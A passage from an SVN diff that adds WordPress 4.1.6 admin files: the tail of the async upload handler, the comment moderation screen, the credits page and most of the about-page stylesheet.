+	if ( is_ssl() && empty($_COOKIE[SECURE_AUTH_COOKIE]) && !empty($_REQUEST['auth_cookie']) )
+		$_COOKIE[SECURE_AUTH_COOKIE] = $_REQUEST['auth_cookie'];
+	elseif ( empty($_COOKIE[AUTH_COOKIE]) && !empty($_REQUEST['auth_cookie']) )
+		$_COOKIE[AUTH_COOKIE] = $_REQUEST['auth_cookie'];
+	if ( empty($_COOKIE[LOGGED_IN_COOKIE]) && !empty($_REQUEST['logged_in_cookie']) )
+		$_COOKIE[LOGGED_IN_COOKIE] = $_REQUEST['logged_in_cookie'];
+	unset($current_user);
+}
+
+require_once( ABSPATH . 'wp-admin/admin.php' );
+
+header( 'Content-Type: text/html; charset=' . get_option( 'blog_charset' ) );
+
+if ( isset( $_REQUEST['action'] ) && 'upload-attachment' === $_REQUEST['action'] ) {
+	include( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+	send_nosniff_header();
+	nocache_headers();
+
+	wp_ajax_upload_attachment();
+	die( '0' );
+}
+
+if ( ! current_user_can( 'upload_files' ) ) {
+	wp_die( __( 'You do not have permission to upload files.' ) );
+}
+
+// just fetch the detail form for that attachment
+if ( isset($_REQUEST['attachment_id']) && ($id = intval($_REQUEST['attachment_id'])) && $_REQUEST['fetch'] ) {
+	$post = get_post( $id );
+	if ( 'attachment' != $post->post_type )
+		wp_die( __( 'Unknown post type.' ) );
+	if ( ! current_user_can( 'edit_post', $id ) )
+		wp_die( __( 'You are not allowed to edit this item.' ) );
+
+	switch ( $_REQUEST['fetch'] ) {
+		case 3 :
+			if ( $thumb_url = wp_get_attachment_image_src( $id, 'thumbnail', true ) )
+				echo '<img class="pinkynail" src="' . esc_url( $thumb_url[0] ) . '" alt="" />';
+			echo '<a class="edit-attachment" href="' . esc_url( get_edit_post_link( $id ) ) . '" target="_blank">' . _x( 'Edit', 'media item' ) . '</a>';
+			$title = $post->post_title ? $post->post_title : wp_basename( $post->guid ); // title shouldn't ever be empty, but use filename just in cas.e
+			echo '<div class="filename new"><span class="title">' . esc_html( wp_html_excerpt( $title, 60, '&hellip;' ) ) . '</span></div>';
+			break;
+		case 2 :
+			add_filter('attachment_fields_to_edit', 'media_single_attachment_fields_to_edit', 10, 2);
+			echo get_media_item($id, array( 'send' => false, 'delete' => true ));
+			break;
+		default:
+			add_filter('attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2);
+			echo get_media_item($id);
+			break;
+	}
+	exit;
+}
+
+check_admin_referer('media-form');
+
+$post_id = 0;
+if ( isset( $_REQUEST['post_id'] ) ) {
+	$post_id = absint( $_REQUEST['post_id'] );
+	if ( ! get_post( $post_id ) || ! current_user_can( 'edit_post', $post_id ) )
+		$post_id = 0;
+}
+
+$id = media_handle_upload( 'async-upload', $post_id );
+if ( is_wp_error($id) ) {
+	echo '<div class="error-div error">
+	<a class="dismiss" href="#" onclick="jQuery(this).parents(\'div.media-item\').slideUp(200, function(){jQuery(this).remove();});">' . __('Dismiss') . '</a>
+	<strong>' . sprintf(__('&#8220;%s&#8221; has failed to upload due to an error'), esc_html($_FILES['async-upload']['name']) ) . '</strong><br />' .
+	esc_html($id->get_error_message()) . '</div>';
+	exit;
+}
+
+if ( $_REQUEST['short'] ) {
+	// Short form response - attachment ID only.
+	echo $id;
+} else {
+	// Long form response - big chunk o html.
+	$type = $_REQUEST['type'];
+
+	/**
+	 * Filter the returned ID of an uploaded attachment.
+	 *
+	 * The dynamic portion of the hook name, `$type`, refers to the attachment type,
+	 * such as 'image', 'audio', 'video', 'file', etc.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param int $id Uploaded attachment ID.
+	 */
+	echo apply_filters( "async_upload_{$type}", $id );
+}
Index: /tags/4.1.6/src/wp-admin/comment.php
===================================================================
--- /tags/4.1.6/src/wp-admin/comment.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/comment.php	(revision 33402)
@@ -0,0 +1,299 @@
+<?php
+/**
+ * Comment Management Screen
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+$parent_file = 'edit-comments.php';
+$submenu_file = 'edit-comments.php';
+
+wp_reset_vars( array('action') );
+
+if ( isset( $_POST['deletecomment'] ) )
+	$action = 'deletecomment';
+
+if ( 'cdc' == $action )
+	$action = 'delete';
+elseif ( 'mac' == $action )
+	$action = 'approve';
+
+if ( isset( $_GET['dt'] ) ) {
+	if ( 'spam' == $_GET['dt'] )
+		$action = 'spam';
+	elseif ( 'trash' == $_GET['dt'] )
+		$action = 'trash';
+}
+
+/**
+ * Display error message at bottom of comments.
+ *
+ * @param string $msg Error Message. Assumed to contain HTML and be sanitized.
+ */
+function comment_footer_die( $msg ) {
+	echo "<div class='wrap'><p>$msg</p></div>";
+	include( ABSPATH . 'wp-admin/admin-footer.php' );
+	die;
+}
+
+switch( $action ) {
+
+case 'editcomment' :
+	$title = __('Edit Comment');
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'overview',
+		'title'   => __('Overview'),
+		'content' =>
+			'<p>' . __( 'You can edit the information left in a comment if needed. This is often useful when you notice that a commenter has made a typographical error.' ) . '</p>' .
+			'<p>' . __( 'You can also moderate the comment from this screen using the Status box, where you can also change the timestamp of the comment.' ) . '</p>'
+	) );
+
+	get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
+	'<p>' . __( '<a href="http://codex.wordpress.org/Administration_Screens#Comments" target="_blank">Documentation on Comments</a>' ) . '</p>' .
+	'<p>' . __( '<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>' ) . '</p>'
+	);
+
+	wp_enqueue_script('comment');
+	require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+	$comment_id = absint( $_GET['c'] );
+
+	if ( !$comment = get_comment( $comment_id ) )
+		comment_footer_die( __('Oops, no comment with this ID.') . sprintf(' <a href="%s">' . __('Go back') . '</a>.', 'javascript:history.go(-1)') );
+
+	if ( !current_user_can( 'edit_comment', $comment_id ) )
+		comment_footer_die( __('You are not allowed to edit this comment.') );
+
+	if ( 'trash' == $comment->comment_approved )
+		comment_footer_die( __('This comment is in the Trash. Please move it out of the Trash if you want to edit it.') );
+
+	$comment = get_comment_to_edit( $comment_id );
+
+	include( ABSPATH . 'wp-admin/edit-form-comment.php' );
+
+	break;
+
+case 'delete'  :
+case 'approve' :
+case 'trash'   :
+case 'spam'    :
+
+	$title = __('Moderate Comment');
+
+	$comment_id = absint( $_GET['c'] );
+
+	if ( !$comment = get_comment_to_edit( $comment_id ) ) {
+		wp_redirect( admin_url('edit-comments.php?error=1') );
+		die();
+	}
+
+	if ( !current_user_can( 'edit_comment', $comment->comment_ID ) ) {
+		wp_redirect( admin_url('edit-comments.php?error=2') );
+		die();
+	}
+
+	// No need to re-approve/re-trash/re-spam a comment.
+	if ( $action == str_replace( '1', 'approve', $comment->comment_approved ) ) {
+		wp_redirect( admin_url( 'edit-comments.php?same=' . $comment_id ) );
+		die();
+ 	}
+
+	require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+	$formaction    = $action . 'comment';
+	$nonce_action  = 'approve' == $action ? 'approve-comment_' : 'delete-comment_';
+	$nonce_action .= $comment_id;
+
+?>
+<div class="wrap">
+
+<div class="narrow">
+
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<?php
+switch ( $action ) {
+	case 'spam' :
+		$caution_msg = __('You are about to mark the following comment as spam:');
+		$button      = __('Spam Comment');
+		break;
+	case 'trash' :
+		$caution_msg = __('You are about to move the following comment to the Trash:');
+		$button      = __('Trash Comment');
+		break;
+	case 'delete' :
+		$caution_msg = __('You are about to delete the following comment:');
+		$button      = __('Permanently Delete Comment');
+		break;
+	default :
+		$caution_msg = __('You are about to approve the following comment:');
+		$button      = __('Approve Comment');
+		break;
+}
+
+if ( $comment->comment_approved != '0' ) { // if not unapproved
+	$message = '';
+	switch ( $comment->comment_approved ) {
+		case '1' :
+			$message = __('This comment is currently approved.');
+			break;
+		case 'spam' :
+			$message  = __('This comment is currently marked as spam.');
+			break;
+		case 'trash' :
+			$message  = __('This comment is currently in the Trash.');
+			break;
+	}
+	if ( $message )
+		echo '<div class="updated"><p>' . $message . '</p></div>';
+}
+?>
+<p><strong><?php _e('Caution:'); ?></strong> <?php echo $caution_msg; ?></p>
+
+<table class="form-table comment-ays">
+<tr class="alt">
+<th scope="row"><?php _e('Author'); ?></th>
+<td><?php echo $comment->comment_author; ?></td>
+</tr>
+<?php if ( $comment->comment_author_email ) { ?>
+<tr>
+<th scope="row"><?php _e('E-mail'); ?></th>
+<td><?php echo $comment->comment_author_email; ?></td>
+</tr>
+<?php } ?>
+<?php if ( $comment->comment_author_url ) { ?>
+<tr>
+<th scope="row"><?php _e('URL'); ?></th>
+<td><a href="<?php echo $comment->comment_author_url; ?>"><?php echo $comment->comment_author_url; ?></a></td>
+</tr>
+<?php } ?>
+<tr>
+<th scope="row"><?php /* translators: field name in comment form */ _ex('Comment', 'noun'); ?></th>
+<td><?php echo $comment->comment_content; ?></td>
+</tr>
+</table>
+
+<p><?php _e('Are you sure you want to do this?'); ?></p>
+
+<form action="comment.php" method="get">
+
+<table width="100%">
+<tr>
+<td><a class="button" href="<?php echo admin_url('edit-comments.php'); ?>"><?php esc_attr_e('No'); ?></a></td>
+<td class="textright"><?php submit_button( $button, 'button' ); ?></td>
+</tr>
+</table>
+
+<?php wp_nonce_field( $nonce_action ); ?>
+<input type="hidden" name="action" value="<?php echo esc_attr($formaction); ?>" />
+<input type="hidden" name="c" value="<?php echo esc_attr($comment->comment_ID); ?>" />
+<input type="hidden" name="noredir" value="1" />
+</form>
+
+</div>
+</div>
+<?php
+	break;
+
+case 'deletecomment'    :
+case 'trashcomment'     :
+case 'untrashcomment'   :
+case 'spamcomment'      :
+case 'unspamcomment'    :
+case 'approvecomment'   :
+case 'unapprovecomment' :
+	$comment_id = absint( $_REQUEST['c'] );
+
+	if ( in_array( $action, array( 'approvecomment', 'unapprovecomment' ) ) )
+		check_admin_referer( 'approve-comment_' . $comment_id );
+	else
+		check_admin_referer( 'delete-comment_' . $comment_id );
+
+	$noredir = isset($_REQUEST['noredir']);
+
+	if ( !$comment = get_comment($comment_id) )
+		comment_footer_die( __('Oops, no comment with this ID.') . sprintf(' <a href="%s">' . __('Go back') . '</a>.', 'edit-comments.php') );
+	if ( !current_user_can( 'edit_comment', $comment->comment_ID ) )
+		comment_footer_die( __('You are not allowed to edit comments on this post.') );
+
+	if ( '' != wp_get_referer() && ! $noredir && false === strpos(wp_get_referer(), 'comment.php') )
+		$redir = wp_get_referer();
+	elseif ( '' != wp_get_original_referer() && ! $noredir )
+		$redir = wp_get_original_referer();
+	elseif ( in_array( $action, array( 'approvecomment', 'unapprovecomment' ) ) )
+		$redir = admin_url('edit-comments.php?p=' . absint( $comment->comment_post_ID ) );
+	else
+		$redir = admin_url('edit-comments.php');
+
+	$redir = remove_query_arg( array('spammed', 'unspammed', 'trashed', 'untrashed', 'deleted', 'ids', 'approved', 'unapproved'), $redir );
+
+	switch ( $action ) {
+		case 'deletecomment' :
+			wp_delete_comment( $comment_id );
+			$redir = add_query_arg( array('deleted' => '1'), $redir );
+			break;
+		case 'trashcomment' :
+			wp_trash_comment($comment_id);
+			$redir = add_query_arg( array('trashed' => '1', 'ids' => $comment_id), $redir );
+			break;
+		case 'untrashcomment' :
+			wp_untrash_comment($comment_id);
+			$redir = add_query_arg( array('untrashed' => '1'), $redir );
+			break;
+		case 'spamcomment' :
+			wp_spam_comment($comment_id);
+			$redir = add_query_arg( array('spammed' => '1', 'ids' => $comment_id), $redir );
+			break;
+		case 'unspamcomment' :
+			wp_unspam_comment($comment_id);
+			$redir = add_query_arg( array('unspammed' => '1'), $redir );
+			break;
+		case 'approvecomment' :
+			wp_set_comment_status( $comment_id, 'approve' );
+			$redir = add_query_arg( array( 'approved' => 1 ), $redir );
+			break;
+		case 'unapprovecomment' :
+			wp_set_comment_status( $comment_id, 'hold' );
+			$redir = add_query_arg( array( 'unapproved' => 1 ), $redir );
+			break;
+	}
+
+	wp_redirect( $redir );
+	die;
+
+case 'editedcomment' :
+
+	$comment_id = absint( $_POST['comment_ID'] );
+	$comment_post_id = absint( $_POST['comment_post_ID'] );
+
+	check_admin_referer( 'update-comment_' . $comment_id );
+
+	edit_comment();
+
+	$location = ( empty( $_POST['referredby'] ) ? "edit-comments.php?p=$comment_post_id" : $_POST['referredby'] ) . '#comment-' . $comment_id;
+
+	/**
+	 * Filter the URI the user is redirected to after editing a comment in the admin.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $location The URI the user will be redirected to.
+	 * @param int $comment_id The ID of the comment being edited.
+	 */
+	$location = apply_filters( 'comment_edit_redirect', $location, $comment_id );
+	wp_redirect( $location );
+
+	exit();
+
+default:
+	wp_die( __('Unknown action.') );
+
+} // end switch
+
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-admin/credits.php
===================================================================
--- /tags/4.1.6/src/wp-admin/credits.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/credits.php	(revision 33402)
@@ -0,0 +1,192 @@
+<?php
+/**
+ * Credits administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+$title = __( 'Credits' );
+
+/**
+ * Retrieve the contributor credits.
+ *
+ * @global string $wp_version The current WordPress version.
+ *
+ * @since 3.2.0
+ *
+ * @return array|bool A list of all of the contributors, or false on error.
+*/
+function wp_credits() {
+	global $wp_version;
+	$locale = get_locale();
+
+	$results = get_site_transient( 'wordpress_credits_' . $locale );
+
+	if ( ! is_array( $results )
+		|| false !== strpos( $wp_version, '-' )
+		|| ( isset( $results['data']['version'] ) && strpos( $wp_version, $results['data']['version'] ) !== 0 )
+	) {
+		$response = wp_remote_get( "http://api.wordpress.org/core/credits/1.1/?version=$wp_version&locale=$locale" );
+
+		if ( is_wp_error( $response ) || 200 != wp_remote_retrieve_response_code( $response ) )
+			return false;
+
+		$results = json_decode( wp_remote_retrieve_body( $response ), true );
+
+		if ( ! is_array( $results ) )
+			return false;
+
+		set_site_transient( 'wordpress_credits_' . $locale, $results, DAY_IN_SECONDS );
+	}
+
+	return $results;
+}
+
+/**
+ * Retrieve the link to a contributor's WordPress.org profile page.
+ *
+ * @access private
+ * @since 3.2.0
+ *
+ * @param string &$display_name The contributor's display name, passed by reference.
+ * @param string $username      The contributor's username.
+ * @param string $profiles      URL to the contributor's WordPress.org profile page.
+ * @return string A contributor's display name, hyperlinked to a WordPress.org profile page.
+ */
+function _wp_credits_add_profile_link( &$display_name, $username, $profiles ) {
+	$display_name = '<a href="' . esc_url( sprintf( $profiles, $username ) ) . '">' . esc_html( $display_name ) . '</a>';
+}
+
+/**
+ * Retrieve the link to an external library used in WordPress.
+ *
+ * @access private
+ * @since 3.2.0
+ *
+ * @param string &$data External library data, passed by reference.
+ * @return string Link to the external library.
+ */
+function _wp_credits_build_object_link( &$data ) {
+	$data = '<a href="' . esc_url( $data[1] ) . '">' . $data[0] . '</a>';
+}
+
+list( $display_version ) = explode( '-', $wp_version );
+
+include( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+<div class="wrap about-wrap">
+
+<h1><?php printf( __( 'Welcome to WordPress %s' ), $display_version ); ?></h1>
+
+<div class="about-text"><?php printf( __( 'Thank you for updating! WordPress %s helps you focus on your writing, and the new default theme lets you show it off in style.' ), $display_version ); ?></div>
+
+<div class="wp-badge"><?php printf( __( 'Version %s' ), $display_version ); ?></div>
+
+<h2 class="nav-tab-wrapper">
+	<a href="about.php" class="nav-tab">
+		<?php _e( 'What&#8217;s New' ); ?>
+	</a><a href="credits.php" class="nav-tab nav-tab-active">
+		<?php _e( 'Credits' ); ?>
+	</a><a href="freedoms.php" class="nav-tab">
+		<?php _e( 'Freedoms' ); ?>
+	</a>
+</h2>
+
+<?php
+
+$credits = wp_credits();
+
+if ( ! $credits ) {
+	echo '<p class="about-description">' . sprintf( __( 'WordPress is created by a <a href="%1$s">worldwide team</a> of passionate individuals. <a href="%2$s">Get involved in WordPress</a>.' ),
+		'https://wordpress.org/about/',
+		/* translators: Url to the codex documentation on contributing to WordPress used on the credits page */
+		__( 'http://codex.wordpress.org/Contributing_to_WordPress' ) ) . '</p>';
+	include( ABSPATH . 'wp-admin/admin-footer.php' );
+	exit;
+}
+
+echo '<p class="about-description">' . __( 'WordPress is created by a worldwide team of passionate individuals.' ) . "</p>\n";
+
+$gravatar = is_ssl() ? 'https://secure.gravatar.com/avatar/' : 'http://0.gravatar.com/avatar/';
+
+foreach ( $credits['groups'] as $group_slug => $group_data ) {
+	if ( $group_data['name'] ) {
+		if ( 'Translators' == $group_data['name'] ) {
+			// Considered a special slug in the API response. (Also, will never be returned for en_US.)
+			$title = _x( 'Translators', 'Translate this to be the equivalent of English Translators in your language for the credits page Translators section' );
+		} elseif ( isset( $group_data['placeholders'] ) ) {
+			$title = vsprintf( translate( $group_data['name'] ), $group_data['placeholders'] );
+		} else {
+			$title = translate( $group_data['name'] );
+		}
+
+		echo '<h4 class="wp-people-group">' . $title . "</h4>\n";
+	}
+
+	if ( ! empty( $group_data['shuffle'] ) )
+		shuffle( $group_data['data'] ); // We were going to sort by ability to pronounce "hierarchical," but that wouldn't be fair to Matt.
+
+	switch ( $group_data['type'] ) {
+		case 'list' :
+			array_walk( $group_data['data'], '_wp_credits_add_profile_link', $credits['data']['profiles'] );
+			echo '<p class="wp-credits-list">' . wp_sprintf( '%l.', $group_data['data'] ) . "</p>\n\n";
+			break;
+		case 'libraries' :
+			array_walk( $group_data['data'], '_wp_credits_build_object_link' );
+			echo '<p class="wp-credits-list">' . wp_sprintf( '%l.', $group_data['data'] ) . "</p>\n\n";
+			break;
+		default:
+			$compact = 'compact' == $group_data['type'];
+			$classes = 'wp-people-group ' . ( $compact ? 'compact' : '' );
+			echo '<ul class="' . $classes . '" id="wp-people-group-' . $group_slug . '">' . "\n";
+			foreach ( $group_data['data'] as $person_data ) {
+				echo '<li class="wp-person" id="wp-person-' . $person_data[2] . '">' . "\n\t";
+				echo '<a href="' . sprintf( $credits['data']['profiles'], $person_data[2] ) . '">';
+				$size = 'compact' == $group_data['type'] ? '30' : '60';
+				echo '<img src="' . $gravatar . $person_data[1] . '?s=' . $size . '" class="gravatar" alt="' . esc_attr( $person_data[0] ) . '" /></a>' . "\n\t";
+				echo '<a class="web" href="' . sprintf( $credits['data']['profiles'], $person_data[2] ) . '">' . $person_data[0] . "</a>\n\t";
+				if ( ! $compact )
+					echo '<span class="title">' . translate( $person_data[3] ) . "</span>\n";
+				echo "</li>\n";
+			}
+			echo "</ul>\n";
+		break;
+	}
+}
+
+?>
+<p class="clear"><?php printf( __( 'Want to see your name in lights on this page? <a href="%s">Get involved in WordPress</a>.' ),
+	/* translators: URL to the Make WordPress 'Get Involved' landing page used on the credits page */
+	__( 'https://make.wordpress.org/' ) ); ?></p>
+
+</div>
+<?php
+
+include( ABSPATH . 'wp-admin/admin-footer.php' );
+
+return;
+
+// These are strings returned by the API that we want to be translatable
+__( 'Project Leaders' );
+__( 'Extended Core Team' );
+__( 'Core Developers' );
+__( 'Recent Rockstars' );
+__( 'Core Contributors to WordPress %s' );
+__( 'Contributing Developers' );
+__( 'Cofounder, Project Lead' );
+__( 'Lead Developer' );
+__( 'Release Lead' );
+__( 'User Experience Lead' );
+__( 'Core Developer' );
+__( 'Core Committer' );
+__( 'Guest Committer' );
+__( 'Developer' );
+__( 'Designer' );
+__( 'XML-RPC' );
+__( 'Internationalization' );
+__( 'External Libraries' );
+__( 'Icon Design' );
Index: /tags/4.1.6/src/wp-admin/css/about.css
===================================================================
--- /tags/4.1.6/src/wp-admin/css/about.css	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/about.css	(revision 33402)
@@ -0,0 +1,480 @@
+/*------------------------------------------------------------------------------
+  22.0 - About Pages
+
+   1.0 Global: About, Credits, Freedoms
+    1.1 Typography
+    1.2 Structure
+    1.3 Point Releases
+   2.0 About Page
+    2.1 Typography
+    2.2 Structure
+   3.0 Credits & Freedoms Pages
+------------------------------------------------------------------------------*/
+
+/*------------------------------------------------------------------------------
+  1.0 - Global: About, Credits, Freedoms
+------------------------------------------------------------------------------*/
+
+.about-wrap {
+	position: relative;
+	margin: 25px 40px 0 20px;
+	max-width: 1050px; /* readability */
+	font-size: 15px;
+}
+
+.about-wrap div.updated,
+.about-wrap div.error {
+	display: none !important;
+}
+
+.about-wrap hr {
+	border: 0;
+	height: 0;
+	margin: 0;
+	border-top: 1px solid rgba(0, 0, 0, 0.1);
+}
+
+.about-wrap img {
+	margin: 0;
+	max-width: 100%;
+	height: auto;
+	vertical-align: middle;
+}
+
+/* WordPress Version Badge */
+
+.wp-badge {
+	background: #0074a2 url(../images/w-logo-white.png?ver=20131202) no-repeat;
+	background-position: center 24px;
+	-webkit-background-size: 85px 85px;
+	background-size: 85px 85px;
+	color: #78c8e6;
+	font-size: 14px;
+	text-align: center;
+	font-weight: 600;
+	margin: 5px 0 0;
+	padding-top: 120px;
+	height: 40px;
+	display: inline-block;
+	width: 150px;
+	text-rendering: optimizeLegibility;
+	-webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.2);
+	box-shadow: 0 1px 3px rgba(0,0,0,0.2);
+}
+
+.svg .wp-badge {
+	background-image: url(../images/wordpress-logo-white.svg?ver=20131110);
+}
+
+.about-wrap .wp-badge {
+	position: absolute;
+	top: 0;
+	right: 0;
+}
+
+/* Tabs */
+
+.about-wrap h2.nav-tab-wrapper {
+	padding-left: 6px;
+}
+
+.about-wrap h2 .nav-tab {
+	padding: 4px 15px 6px;
+	margin: 0 3px -1px 0;
+	font-size: 18px;
+	vertical-align: top;
+	border-width: 1px;
+	white-space: nowrap;
+}
+
+/* 1.1 - Typography */
+
+.about-wrap p {
+	line-height: 1.6em;
+	font-size: 14px;
+}
+
+.about-wrap h1 {
+	margin: 0.2em 200px 0 0;
+	color: #333;
+	line-height: 1.2em;
+	font-size: 2.8em;
+	font-weight: 400;
+}
+
+.about-wrap h3 {
+	margin: 2em 0 .6em;
+	font-size: 1.25em;
+	line-height: 1.5em;
+}
+
+.about-wrap h4 {
+	color: #222;
+}
+
+.about-wrap code,
+.about-wrap ol li p {
+	font-size: 14px;
+}
+
+.about-wrap .about-description,
+.about-wrap .about-text {
+	margin-top: 1.4em;
+	font-weight: normal;
+	line-height: 1.6em;
+	font-size: 19px;
+}
+
+.about-wrap .about-text {
+	margin: 1em 200px 1em 0;
+	min-height: 60px;
+	color: #777;
+}
+
+/* 1.2 - Structure */
+
+.about-wrap .two-col > div {
+	position: relative;
+	width: 47.6%;
+	margin-right: 4.799999999%;
+	float: left;
+}
+
+.about-wrap .three-col > div {
+	position: relative;
+	width: 29.95%;
+	margin-right: 4.999999999%;
+	float: left;
+}
+
+.about-wrap .col .last-feature {
+	margin-right: 0;
+}
+
+/* 1.3 - Point Releases */
+
+.about-wrap .point-releases {
+	margin-top: 5px;
+	border-bottom: 1px solid #dfdfdf;
+}
+
+.about-wrap .changelog.point-releases h3 {
+	padding-top: 35px;
+}
+
+.about-wrap .changelog.point-releases h3:first-child {
+	padding-top: 7px;
+}
+
+/*------------------------------------------------------------------------------
+  2.0 - About Page
+------------------------------------------------------------------------------*/
+
+/* 2.1 - Typography */
+
+.about-wrap .headline-feature h2 {
+	margin: 1.1em 0 0.2em;
+	font-size: 2.4em;
+	font-weight: 300;
+	line-height: 1.3;
+	text-align: center;
+}
+
+.about-wrap .feature-list h2 {
+	margin: 30px 0 15px;
+	text-align: center;
+}
+
+.about-wrap .dfw h3 {
+	margin-top: 1em;
+	text-align: center;
+}
+
+.about-wrap .feature-section h4 {
+	margin: 1.4em 0 0.6em 0;
+	font-size: 1.2em;
+}
+
+.about-wrap .feature-section p {
+	margin-top: 0.6em;
+}
+
+.about-wrap .dfw p {
+	max-width: 68%;
+	margin: 0 auto 20px;
+}
+
+/* 2.2 - Structure */
+
+.about-wrap .featured-image {
+	text-align: center;
+}
+
+.about-wrap .feature-section {
+	overflow: hidden;
+	padding-bottom: 20px;
+}
+
+.about-wrap .headline-feature .feature-section {
+	margin: 0 auto;
+	max-width: 82%;
+}
+
+.about-wrap .headline-feature .feature-section .col:first-child {
+	float: left;
+	margin: 15px 5% 0 0;
+	width: 55%;
+}
+
+.about-wrap .headline-feature .feature-section .col:last-child {
+	float: right;
+	margin: 15px 0 40px;
+	width: 40%;
+}
+
+.about-wrap .feature-list .feature-section {
+	margin-top: 0;
+}
+
+.about-wrap .dfw .feature-section {
+	overflow: visible;
+}
+
+.about-wrap .dfw-container {
+	position: relative;
+	overflow: hidden;
+	margin-top: 50px;
+	-webkit-box-shadow: 0 0 10px rgba( 0, 0, 0, 0.25 );
+	box-shadow: 0 0 10px rgba( 0, 0, 0, 0.25 );
+}
+
+.about-wrap .dfw-container .overlay-image {
+	position: absolute;
+	top: 0;
+	left: 0;
+	/* Cubic Bezier to speed up the slide-out of the full-width sidebar image */
+	-webkit-transition: 0.8s -webkit-transform cubic-bezier(.9,.03,1,.61),
+	            0.65s opacity linear;
+	transition: 0.8s transform cubic-bezier(.9,.03,1,.61),
+	            0.65s opacity linear;
+}
+
+.about-wrap .dfw-container .overlay-image.fade-in {
+	opacity: 0;
+}
+
+.about-wrap .dfw-container .overlay-image.from-left {
+	-webkit-transform: translate3d(-100%, 0, 0);
+	transform: translate3d(-100%, 0, 0);
+}
+
+.about-wrap .dfw-container:hover .overlay-image {
+	opacity: 1;
+	-webkit-transform: translate3d(0, 0, 0);
+	transform: translate3d(0, 0, 0);
+	/* Cubic Bezier to speed up the slide-in of the full-width sidebar image */
+	-webkit-transition: 0.7s -webkit-transform cubic-bezier( 0, 0.8, 0.8, 1 ),
+	            0.8s opacity linear;
+	transition: 0.7s transform cubic-bezier( 0, 0.8, 0.8, 1 ),
+	            0.8s opacity linear;
+}
+
+/* Return to Dashboard Home link */
+
+.about-wrap .return-to-dashboard {
+	margin: 30px 0 0 -5px;
+	font-size: 14px;
+	font-weight: bold;
+}
+
+.about-wrap .return-to-dashboard a {
+	text-decoration: none;
+	padding: 0 5px;
+}
+
+/* SVGs */
+.about-wrap .feature-list svg {
+	float: left;
+	clear: left;
+	margin: 15px 15px 0 0 ;
+	height: 90px;
+	width: 90px;
+	background-color: #cccccc;
+	-webkit-border-radius: 50%;
+	border-radius: 50%;
+	fill: #999;
+	border: 1px solid #c1c1c1;
+}
+
+.about-wrap .feature-list.finer-points h4,
+.about-wrap .feature-list.finer-points p {
+	margin-left: 115px;
+}
+
+/*------------------------------------------------------------------------------
+  3.0 - Credits & Freedoms Pages
+------------------------------------------------------------------------------*/
+
+/* Credits */
+
+.about-wrap h4.wp-people-group {
+	margin-top: 2.6em;
+	font-size: 16px;
+}
+
+.about-wrap ul.wp-people-group {
+	overflow: hidden;
+	padding: 0 5px;
+	margin: 0 -15px 0 -5px;
+}
+
+.about-wrap ul.compact {
+	margin-bottom: 0
+}
+
+.about-wrap li.wp-person {
+	display: inline-block;
+	vertical-align: top;
+	margin-right: 10px;
+	padding-bottom: 15px;
+	height: 70px;
+	width: 280px;
+}
+
+.about-wrap ul.compact li.wp-person {
+	height: auto;
+	width: 180px;
+	padding-bottom: 0;
+	margin-bottom: 0;
+}
+
+.about-wrap li.wp-person img.gravatar {
+	float: left;
+	margin: 0 10px 10px 0;
+	padding: 2px;
+	width: 60px;
+	height: 60px;
+}
+
+.about-wrap ul.compact li.wp-person img.gravatar {
+	width: 30px;
+	height: 30px;
+}
+
+.about-wrap li.wp-person a.web {
+	display: block;
+	margin: 6px 0 2px;
+	font-size: 16px;
+	font-weight: normal;
+	line-height: 1.6em;
+	text-decoration: none;
+}
+
+.about-wrap #wp-people-group-validators + p.wp-credits-list {
+	margin-top: 0;
+}
+
+.about-wrap p.wp-credits-list a {
+	white-space: nowrap;
+}
+
+/* Freedoms */
+
+.freedoms-php .about-wrap ol {
+	margin: 40px 60px;
+}
+
+.freedoms-php .about-wrap ol li {
+	list-style-type: decimal;
+	font-weight: bold;
+}
+
+.freedoms-php .about-wrap ol p {
+	font-weight: normal;
+	margin: 0.6em 0;
+}
+
+/*------------------------------------------------------------------------------
+  4.0 - Media Queries
+------------------------------------------------------------------------------*/
+
+@media screen and ( max-width: 782px ) {
+	.about-wrap .one-col > div,
+	.about-wrap .two-col > div,
+	.about-wrap .three-col > div {
+		width: 100%;
+		margin: 0 0 40px;
+		padding: 0 0 40px;
+		border-bottom: 1px solid rgba(0, 0, 0, 0.1);
+	}
+
+	.about-wrap .feature-list div,
+	.about-wrap .col > div.last-feature {
+		margin: 0;
+		padding: 0;
+		border-bottom: none;
+	}
+
+	.about-wrap .headline-feature .feature-section {
+		max-width: 100%;
+	}
+
+	.about-wrap .feature-list .feature-section {
+		padding: 0 0 40px;
+	}
+}
+
+@media only screen and (max-width: 500px) {
+	.about-wrap {
+		margin-right: 20px;
+		margin-left: 10px;
+	}
+
+	.about-wrap h1,
+	.about-wrap .about-text {
+		margin-right: 0;
+	}
+
+	.about-wrap .about-text {
+		margin-bottom: 0.25em;
+	}
+
+	.about-wrap .wp-badge {
+		position: relative;
+		margin-bottom: 1.5em;
+		width: 100%;
+	}
+
+	.about-wrap h2.nav-tab-wrapper {
+		padding-left: 0;
+		border-bottom: 0;
+	}
+
+	.about-wrap h2 .nav-tab {
+		margin-top: 10px;
+		margin-right: 10px;
+		border-bottom: 1px solid #ccc;
+	}
+
+	.about-wrap .three-col div,
+	.about-wrap .headline-feature .feature-section div {
+		width: 100% !important;
+		float: none !important;
